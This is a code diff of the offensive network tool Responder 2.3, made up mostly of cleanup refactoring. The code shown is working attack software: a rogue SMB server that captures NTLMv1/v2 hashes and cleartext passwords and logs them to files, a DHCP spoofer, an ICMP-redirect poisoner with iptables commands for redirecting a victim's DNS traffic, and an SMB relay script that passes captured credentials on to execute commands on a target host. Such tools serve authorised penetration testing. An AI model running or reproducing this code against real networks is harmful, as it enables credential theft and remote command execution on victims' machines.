if Dialect[4] == "NT LM 0.12":
return "\x04\x00"
if Dialect[5] == "NT LM 0.12":
return "\x05\x00"
if Dialect[6] == "NT LM 0.12":
return "\x06\x00"
if Dialect[7] == "NT LM 0.12":
return "\x07\x00"
if Dialect[8] == "NT LM 0.12":
return "\x08\x00"
if Dialect[9] == "NT LM 0.12":
return "\x09\x00"
if Dialect[10] == "NT LM 0.12":
return "\x0a\x00"
if Dialect[11] == "NT LM 0.12":
return "\x0b\x00"
if Dialect[12] == "NT LM 0.12":
return "\x0c\x00"
if Dialect[13] == "NT LM 0.12":
return "\x0d\x00"
if Dialect[14] == "NT LM 0.12":
return "\x0e\x00"
if Dialect[15] == "NT LM 0.12":
return "\x0f\x00"
#Set MID SMB Header field.
def midcalc(data):
pack=data[34:36]
return pack
def midcalc(data): #Set MID SMB Header field.
return data[34:36]
#Set UID SMB Header field.
def uidcalc(data):
pack=data[32:34]
return pack
#Set PID SMB Header field.
def pidcalc(data):
def uidcalc(data): #Set UID SMB Header field.
return data[32:34]
def pidcalc(data): #Set PID SMB Header field.
pack=data[30:32]
return pack
#Set TID SMB Header field.
def tidcalc(data):
def tidcalc(data): #Set TID SMB Header field.
pack=data[28:30]
return pack
@ -101,8 +67,8 @@ def ParseShare(data):
if a:
print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
#Parse SMB NTLMSSP v1/v2
def ParseSMBHash(data,client):
def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
SecBlobLen = struct.unpack('<H',data[51:53])[0]
BccLen = struct.unpack('<H',data[61:63])[0]
@ -113,7 +79,6 @@ def ParseSMBHash(data,client):
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[97:99])[0]
NthashOffset = struct.unpack('<H',data[99:101])[0]
else:
SSPIStart = data[79:]
LMhashLen = struct.unpack('<H',data[93:95])[0]
@ -160,9 +125,8 @@ def ParseSMBHash(data,client):
'fullhash': WriteHash,
})
# Parse SMB NTLMv1/v2
def ParseLMNTHash(data, client):
def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0]
@ -209,26 +173,23 @@ def IsNT4ClearTxt(data, client):
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
if PassLen > 2:
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
# SMB Server class, NTLMSSP
class SMB1(BaseRequestHandler):
class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
def handle(self):
try:
while True:
data = self.request.recv(1024)
self.request.settimeout(1)
if len(data) < 1:
if not data:
break
##session request 139
if data[0] == "\x81":
if data[0] == "\x81": #session request 139
Buffer = "\x82\x00\x00\x00"
try:
self.request.send(Buffer)
@ -236,9 +197,7 @@ class SMB1(BaseRequestHandler):
except:
pass
# Negociate Protocol Response
if data[8:10] == "\x72\x00":
# \x72 == Negociate Protocol Response
if data[8:10] == "\x72\x00": # Negociate Protocol Response
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
Body.calculate()
@ -249,8 +208,7 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(1024)
# Session Setup AndX Request
if data[8:10] == "\x73\x00":
if data[8:10] == "\x73\x00": # Session Setup AndX Request
IsNT4ClearTxt(data, self.client_address[0])
# STATUS_MORE_PROCESSING_REQUIRED
@ -264,8 +222,8 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(4096)
# STATUS_SUCCESS
if data[8:10] == "\x73\x00":
if data[8:10] == "\x73\x00": # STATUS_SUCCESS
if Is_Anonymous(data):
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty()
@ -290,10 +248,9 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(1024)
# Tree Connect AndX Request
if data[8:10] == "\x75\x00":
if data[8:10] == "\x75\x00": # Tree Connect AndX Request
ParseShare(data)
# Tree Connect AndX Response
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
Body = SMBTreeData()
Body.calculate()
@ -304,8 +261,7 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(1024)
##Tree Disconnect.
if data[8:10] == "\x71\x00":
if data[8:10] == "\x71\x00": #Tree Disconnect
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
@ -315,8 +271,7 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(1024)
##NT_CREATE Access Denied.
if data[8:10] == "\xa2\x00":
if data[8:10] == "\xa2\x00": #NT_CREATE Access Denied.
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
@ -326,8 +281,7 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(1024)
##Trans2 Access Denied.
if data[8:10] == "\x25\x00":
if data[8:10] == "\x25\x00": # Trans2 Access Denied.
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
@ -337,8 +291,8 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(1024)
##LogOff.
if data[8:10] == "\x74\x00":
if data[8:10] == "\x74\x00": # LogOff
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x02\xff\x00\x27\x00\x00\x00"
@ -351,22 +305,19 @@ class SMB1(BaseRequestHandler):
except socket.timeout:
pass
# SMB Server class, old version
class SMB1LM(BaseRequestHandler):
class SMB1LM(BaseRequestHandler): # SMB Server class, old version
def handle(self):
try:
self.request.settimeout(0.5)
data = self.request.recv(1024)
##session request 139
if data[0] == "\x81":
if data[0] == "\x81": #session request 139
Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer)
data = self.request.recv(1024)
##Negotiate proto answer.
if data[8:10] == "\x72\x00":
if data[8:10] == "\x72\x00": #Negotiate proto answer.
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
Body.calculate()
@ -375,22 +326,19 @@ class SMB1LM(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(1024)
##Session Setup AndX Request
if data[8:10] == "\x73\x00":
if data[8:10] == "\x73\x00": #Session Setup AndX Request
if Is_LMNT_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head)+str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
else:
ParseLMNTHash(data,self.client_address[0])
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head)+str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
Packet = str(head) + str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
self.request.send(Buffer)
data = self.request.recv(1024)
except Exception:
self.request.close()
pass

View file

@ -14,15 +14,11 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import *
from base64 import b64decode, b64encode
from base64 import b64decode
from SocketServer import BaseRequestHandler
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
# ESMTP Server class
class ESMTP(BaseRequestHandler):
def handle(self):

View file

@ -14,13 +14,12 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import sys
import socket
import utils
import logging
import ConfigParser
from utils import *
__version__ = 'Responder 2.3'
class Settings:
@ -37,7 +36,7 @@ class Settings:
return ret
def toBool(self, str):
return True if str.upper() == 'ON' else False
return str.upper() == 'ON'
def ExpandIPRanges(self):
def expand_ranges(lst):

View file

@ -14,11 +14,9 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys, os
import socket
import sys
import os
import thread
import struct
import time
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
sys.path.insert(0, BASEDIR)
@ -29,7 +27,6 @@ from threading import Lock
from utils import *
def ParseRoles(data):
if len(data) != 4:
return ''
@ -62,44 +59,11 @@ def ParseRoles(data):
'Domain Enum': (ord(data[3]) >> 7) & 1,
}
#print 'Workstation : ', AllRoles['Workstation']
#print 'Server : ', AllRoles['Server']
#print 'SQL : ', AllRoles['SQL']
#print 'Domain Controller : ', AllRoles['Domain Controller']
#print 'Backup Controller : ', AllRoles['Backup Controller']
#print 'Time Source : ', AllRoles['Time Source']
#print 'Apple : ', AllRoles['Apple']
#print 'Novell : ', AllRoles['Novell']
#print 'Member : ', AllRoles['Member']
#print 'Print : ', AllRoles['Print']
#print 'Dialin : ', AllRoles['Dialin']
#print 'Xenix : ', AllRoles['Xenix']
#print 'NT Workstation : ', AllRoles['NT Workstation']
#print 'WfW : ', AllRoles['WfW']
#print 'Unused : ', AllRoles['Unused']
#print 'NT Server : ', AllRoles['NT Server']
#print 'Potential Browser : ', AllRoles['Potential Browser']
#print 'Backup Browser : ', AllRoles['Backup Browser']
#print 'Master Browser : ', AllRoles['Master Browser']
#print 'Domain Master Browser : ', AllRoles['Domain Master Browser']
#print 'OSF : ', AllRoles['OSF']
#print 'VMS : ', AllRoles['VMS']
#print 'Windows 95+ : ', AllRoles['Windows 95+']
#print 'DFS : ', AllRoles['DFS']
#print 'Local : ', AllRoles['Local']
#print 'Domain Enum : ', AllRoles['Domain Enum']
return ', '.join(k for k,v in AllRoles.items() if v == 1)
Roles = []
for k,v in AllRoles.iteritems():
if v == 1:
Roles.append(k)
return ', '.join(Roles)
class BrowserListener(BaseRequestHandler):
def handle(self):
#try:
data, socket = self.request
lock = Lock()
@ -129,14 +93,10 @@ class BrowserListener(BaseRequestHandler):
lock.release()
#except Exception:
# pass
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self):
self.allow_reuse_address = 1
#self.socket.setsockopt(socket.SOL_SOCKET, 25, 'eth0\0')
UDPServer.server_bind(self)
def serve_thread_udp_broadcast(host, port, handler):

View file

@ -16,8 +16,6 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
import struct
import socket
import re
import optparse
import ConfigParser
import os
@ -46,16 +44,13 @@ def color(txt, code = 1, modifier = 0):
if options.Interface is None:
print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
exit(-1)
if options.RouterIP is None:
elif options.RouterIP is None:
print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
exit(-1)
if options.DNSIP is None:
elif options.DNSIP is None:
print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
exit(-1)
if options.DNSIP2 is None:
elif options.DNSIP2 is None:
print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
exit(-1)
@ -230,22 +225,15 @@ def SpoofIP(Spoof):
return ROUTERIP if Spoof else Responder_IP
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
return False
if len(RespondTo) and ClientIp not in RespondTo:
elif RespondTo and ClientIp not in RespondTo:
return False
if ClientIp in RespondTo or RespondTo == []:
elif ClientIp in RespondTo or RespondTo == []:
if ClientIp not in DontRespondTo:
return True
return False
def IsUDP(data):
return True if data[0][23:24] == "\x11" else False
def ParseSrcDSTAddr(data):
SrcIP = socket.inet_ntoa(data[0][26:30])
DstIP = socket.inet_ntoa(data[0][30:34])
@ -254,7 +242,7 @@ def ParseSrcDSTAddr(data):
return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data):
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4])
def ParseDHCPCode(data):
@ -270,21 +258,17 @@ def ParseDHCPCode(data):
# DHCP Inform
if OpCode == "\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), \
GiveClientIP=socket.inet_aton("0.0.0.0"), \
NextServerIP=socket.inet_aton("0.0.0.0"), \
RelayAgentIP=socket.inet_aton("0.0.0.0"), \
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
GiveClientIP=socket.inet_aton("0.0.0.0"),
NextServerIP=socket.inet_aton("0.0.0.0"),
RelayAgentIP=socket.inet_aton("0.0.0.0"),
ElapsedSec=Seconds)
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
# DHCP Request
if OpCode == "\x03" and Respond_To_Requests:
elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
@ -292,16 +276,11 @@ def ParseDHCPCode(data):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
# DHCP Discover
if OpCode == "\x01" and Respond_To_Requests:
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
@ -309,12 +288,9 @@ def ParseDHCPCode(data):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
def SendDHCP(packet,Host):
@ -329,7 +305,7 @@ if __name__ == "__main__":
while True:
try:
data = s.recvfrom(65535)
if IsUDP(data):
if data[0][23:24] == "\x11": # is udp?
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:

View file

@ -21,7 +21,7 @@ import struct
import socket
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
from packets import SMBHeader,SMB2Header, SMB2Nego, SMB2NegoData
from packets import SMB2Header, SMB2Nego, SMB2NegoData
def GetBootTime(data):
Filetime = int(struct.unpack('<q',data)[0])
@ -35,12 +35,8 @@ def IsDCVuln(t):
if t[0] < Date:
print "DC is up since:", t[1]
print "This DC is vulnerable to MS14-068"
else:
print "DC is up since:", t[1]
def NbtLen(data):
Len = struct.pack(">i", len(data))
return Len
def run(host):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@ -52,7 +48,7 @@ def run(host):
Nego.calculate()
Packet = str(Header)+str(Nego)
Buffer = NbtLen(Packet)+Packet
Buffer = struct.pack(">i", len(Packet)) + Packet
s.send(Buffer)
try:

View file

@ -15,55 +15,47 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys,socket,struct,optparse,random,pipes
import socket
import struct
import optparse
import pipes
from socket import *
sys.path.append('../')
from odict import OrderedDict
from random import randrange
from time import sleep
from subprocess import call
from pipes import quote
from packets import Packet
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
prog=sys.argv[0],
)
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
options, args = parser.parse_args()
if options.OURIP is None:
print "-i mandatory option is missing.\n"
parser.print_help()
exit(-1)
if options.OriginalGwAddr is None:
elif options.OriginalGwAddr is None:
print "-g mandatory option is missing, please provide the original gateway address.\n"
parser.print_help()
exit(-1)
if options.VictimIP is None:
elif options.VictimIP is None:
print "-t mandatory option is missing, please provide a target.\n"
parser.print_help()
exit(-1)
if options.Interface is None:
elif options.Interface is None:
print "-I mandatory option is missing, please provide your network interface.\n"
parser.print_help()
exit(-1)
if options.ToThisHost is None:
elif options.ToThisHost is None:
print "-r mandatory option is missing, please provide a destination target.\n"
parser.print_help()
exit(-1)
@ -81,31 +73,16 @@ ToThisHost2 = options.ToThisHost2
Interface = options.Interface
def Show_Help(ExtraHelpData):
help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n"
help+= ExtraHelpData
print help
print("\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n")
print(ExtraHelpData)
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
def GenCheckSum(data):
s = 0
for i in range(0, len(data), 2):
q = ord(data[i]) + (ord(data[i+1]) << 8)
f = s+q
f = s + q
s = (f & 0xffff) + (f >> 16)
return struct.pack("<H",~s & 0xffff)
@ -117,7 +94,6 @@ class EthARP(Packet):
("DstMac", "\xff\xff\xff\xff\xff\xff"),
("SrcMac", ""),
("Type", "\x08\x06" ), #ARP
])
class ARPWhoHas(Packet):
@ -131,7 +107,6 @@ class ARPWhoHas(Packet):
("SenderIP", "\x00\xff\x53\x4d"),
("DstMac", "\x00\x00\x00\x00\x00\x00"),
("DstIP", "\x00\x00\x00\x00"),
])
def calculate(self):
@ -146,7 +121,6 @@ class Eth2(Packet):
("DstMac", ""),
("SrcMac", ""),
("Type", "\x08\x00" ), #IP
])
class IPPacket(Packet):
@ -163,7 +137,6 @@ class IPPacket(Packet):
("SrcIP", ""),
("DestIP", ""),
("Data", ""),
])
def calculate(self):
@ -184,13 +157,10 @@ class ICMPRedir(Packet):
("CheckSum", "\x00\x00"),
("GwAddr", ""),
("Data", ""),
])
def calculate(self):
#Set the values
self.fields["GwAddr"] = inet_aton(OURIP)
# Then CheckSum this packet
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)

View file

@ -14,23 +14,11 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct, sys
import struct
import sys
sys.path.append('../')
from odict import OrderedDict
class Packet:
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
from packets import Packet
class SMBHeader(Packet):
fields = OrderedDict([

View file

@ -14,13 +14,26 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys, os, struct,re,socket,random, RelayPackets,optparse,thread
import sys
import random
import optparse
import thread
sys.path.append('../')
from fingerprint import RunSmbFinger
from odict import OrderedDict
from utils import longueur
from socket import *
from RelayPackets import *
from packets import *
from servers.SMB import *
from packets import Packet
import logging
Logs = logging
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
def longueur(payload):
return struct.pack(">i", len(''.join(payload)))
def UserCallBack(op, value, dmy, parser):
args=[]
@ -44,19 +57,16 @@ if options.CMD is None:
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
parser.print_help()
exit(-1)
if options.TARGET is None:
elif options.TARGET is None:
print "\n-t mandatory option is missing, please provide a target.\n"
parser.print_help()
exit(-1)
if options.UserToRelay is None:
elif options.UserToRelay is None:
print "\n-u mandatory option is missing, please provide a username to relay.\n"
parser.print_help()
exit(-1)
ResponderPATH = os.path.dirname(__file__)
# Set some vars.
UserToRelay = options.UserToRelay
Domain = options.Domain
Command = options.CMD
@ -67,25 +77,6 @@ print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: laurent.gaffie@gm
print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m'
print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
class Packet:
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
#Logger
import logging
Logs = logging
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
#Function used to verify if a previous auth attempt was made.
def ReadData(outfile,Client, User, cmd=None):
try:
@ -93,19 +84,14 @@ def ReadData(outfile,Client, User, cmd=None):
if cmd is None:
String = Client+':'+User
if re.search(String.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return True
else:
return False
if cmd is not None:
String = Client+","+User+","+cmd
if re.search(String.encode('hex'), filestr.read().encode('hex')):
filestr.close()
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
return True
else:
return False
except:
raise
@ -123,7 +109,6 @@ def ParseHash(data,Client, Target):
Username, Domain = tuple(var)
if ReadData("SMBRelay-Session.txt", Client, Username):
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
pass
if Username in UserToRelay:
print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
print "Username : ",Username
@ -135,7 +120,6 @@ def ParseHash(data,Client, Target):
Username, Domain = tuple(var)
if ReadData("SMBRelay-Session.txt", Client, Username):
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
pass
if Username in UserToRelay:
print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
LMHashing = data[65:65+LMhashLen].encode('hex').upper()
@ -145,9 +129,6 @@ def ParseHash(data,Client, Target):
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
else:
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
pass
except Exception:
raise
@ -157,12 +138,10 @@ def Is_Anonymous(data):
if LMhashLen == 0 or LMhashLen == 1:
print "SMB Anonymous login requested, trying to force client to auth with credz."
return True
else:
return False
def ParseDomain(data):
Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
return Domain
return ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
#Function used to know which dialect number to return for NT LM 0.12
def Parse_Nego_Dialect(data):

125
utils.py
View file

@ -21,7 +21,7 @@ import logging
import socket
import time
import settings
import struct
try:
import sqlite3
except:
@ -29,76 +29,65 @@ except:
sys.exit(0)
def color(txt, code = 1, modifier = 0):
if txt.startswith('[*]'):
settings.Config.PoisonersLogger.warning(txt)
elif 'Analyze' in txt:
settings.Config.AnalyzeLogger.warning(txt)
# No colors for windows...
if os.name == 'nt':
if os.name == 'nt': # No colors for windows...
return txt
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def text(txt):
logging.info(txt)
if os.name == 'nt':
return txt
return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
def IsOnTheSameSubnet(ip, net):
net += '/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
return False
if settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp
return False
if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo:
elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo:
return False
if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
elif ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
if ClientIp not in settings.Config.DontRespondTo:
return True
return False
def RespondToThisName(Name):
if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName:
if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
return False
if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
if Name.upper() not in settings.Config.DontRespondToName:
return True
return False
def RespondToThisHost(ClientIp, Name):
return RespondToThisIP(ClientIp) and RespondToThisName(Name)
def IsOsX():
return True if settings.Config.Os_version == "darwin" else False
def OsInterfaceIsSupported():
if settings.Config.Interface != "Not set":
return False if IsOsX() else True
else:
return not IsOsX()
return False
def IsOsX():
Os_version = sys.platform
if Os_version == "darwin":
return True
else:
return False
return sys.platform == "darwin"
def FindLocalIP(Iface, OURIP):
if Iface == 'ALL':
return '0.0.0.0'
@ -112,40 +101,29 @@ def FindLocalIP(Iface, OURIP):
ret = s.getsockname()[0]
s.close()
return ret
else:
return OURIP
except socket.error:
print color("[!] Error: %s: Interface not found" % Iface, 1)
sys.exit(-1)
# Function used to write captured hashs to a file.
def WriteData(outfile, data, user):
logging.info("[*] Captured Hash: %s" % data)
if not os.path.isfile(outfile):
with open(outfile,"w") as outf:
outf.write(data)
outf.write("\n")
outf.close()
else:
outf.write(data + '\n')
return
with open(outfile,"r") as filestr:
